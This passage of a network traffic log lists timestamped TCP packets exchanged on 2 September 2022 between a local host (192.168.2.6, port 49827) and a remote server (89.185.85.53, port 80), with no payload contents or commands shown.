Sep 2, 2022 14:03:31.674001932 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674020052 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674053907 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674079895 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674104929 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674130917 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674155951 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674170971 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674179077 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674180984 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674184084 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674187899 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674195051 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674197912 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674205065 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674206972 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674215078 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674232006 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674243927 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674258947 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674268007 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674285889 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674293041 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674310923 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674319029 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674336910 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674345016 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674365044 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674372911 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674391031 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674401045 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674416065 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674423933 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674439907 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674448967 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674465895 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674474001 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674493074 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674499989 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674518108 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674526930 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674544096 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.674552917 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.674577951 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.675055027 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.675084114 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.675105095 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.675107002 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.675129890 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.675132990 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.675142050 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.675157070 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.675167084 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.675182104 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.675190926 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.675204992 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.675215960 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.675230980 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.675240040 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.675262928 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.675265074 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.675290108 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.675316095 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.675332069 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.676261902 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.676311016 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.676332951 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.676346064 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.676353931 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.676362991 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.676381111 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.676398993 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.676487923 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.676619053 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.676645041 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.676670074 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.676673889 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.676692963 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.676693916 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.676703930 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.676717997 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.676739931 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.676764965 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.676805019 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.677134991 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.677161932 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.677182913 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.677220106 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.677242994 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.677436113 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.677706003 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.677730083 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.677751064 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.677772999 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.677774906 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.677793980 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.677797079 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.677819967 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.677833080 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.677865028 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.678246021 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.678307056 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.678723097 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.678750038 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.678771973 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.678781986 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.678792000 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.678793907 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.678817987 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.678817987 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.678833008 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.678842068 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.678858995 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.678864002 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.678884983 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.678906918 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.678911924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.678925991 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.679214954 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.679240942 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.679260969 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.679265022 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.679280043 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.679282904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.679297924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.679306984 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.679322958 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.679330111 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.679378986 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.679383039 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.679387093 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.679409027 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.679429054 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.679444075 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.679452896 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.679471970 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.679866076 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.679897070 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.679915905 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.679928064 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.679949045 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.679956913 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.680839062 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.680866957 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.680888891 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.680912018 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.680919886 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.680934906 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.680937052 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.680957079 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.680978060 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.680978060 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.680994987 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.681000948 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.681025028 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.681030035 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.681047916 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.681066990 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.681303978 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.681328058 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.681355953 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.681372881 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.681384087 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.681406975 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.681427956 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.681432009 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.681443930 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.681453943 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.681477070 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.681482077 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.681499004 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.681504965 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.681519985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.681523085 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.681541920 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.681744099 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.682406902 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.682435036 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.682456017 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.682476044 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.682478905 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.682501078 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.682502985 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.682524920 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.682545900 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.682549000 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.682564974 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.682570934 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.682591915 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.682594061 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.682609081 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.682629108 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.683499098 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.683528900 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.683549881 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.683571100 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.683569908 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.683588982 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.683621883 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.687454939 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.687522888 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710287094 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710334063 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710355997 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710366011 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710377932 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710388899 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710391998 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710401058 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710417032 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710423946 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710443020 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710445881 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710462093 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710469961 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710493088 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710505962 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710514069 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710527897 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710537910 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710541010 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710562944 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710565090 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710577965 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710587025 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710602045 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710609913 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710623980 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710633039 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710652113 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710655928 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710671902 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710679054 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710701942 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710704088 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710726976 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710750103 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710758924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710764885 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710772038 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710787058 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710792065 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710793972 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710810900 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710818052 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710834026 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710839033 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710855961 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710864067 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710880041 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710887909 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710905075 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.710908890 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.710927010 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711019039 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711034060 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711041927 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711062908 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711064100 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711078882 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711107016 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711178064 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711208105 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711229086 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711230040 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711246014 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711273909 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711283922 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711325884 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711333990 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711381912 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711386919 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711412907 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711431980 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711436987 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711451054 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711461067 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711474895 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711483955 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711497068 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711507082 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711520910 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711529016 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711553097 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711553097 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711575985 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711579084 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711591005 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711601973 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711616039 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711625099 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711639881 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711648941 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711658955 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711672068 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711683035 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711693048 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711704969 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711728096 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711863995 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711889982 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711913109 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711915016 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711935997 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711956978 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711972952 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711978912 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.711982012 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711991072 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.711996078 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712003946 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712021112 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712027073 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712038040 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712049007 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712063074 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712071896 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712085009 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712095022 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712109089 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712116957 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712131023 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712138891 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712151051 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712162018 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712174892 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712193966 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712205887 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712217093 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712230921 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712239027 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712254047 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712260962 CEST	80	49827	89.185.85.53	192.168.2.6
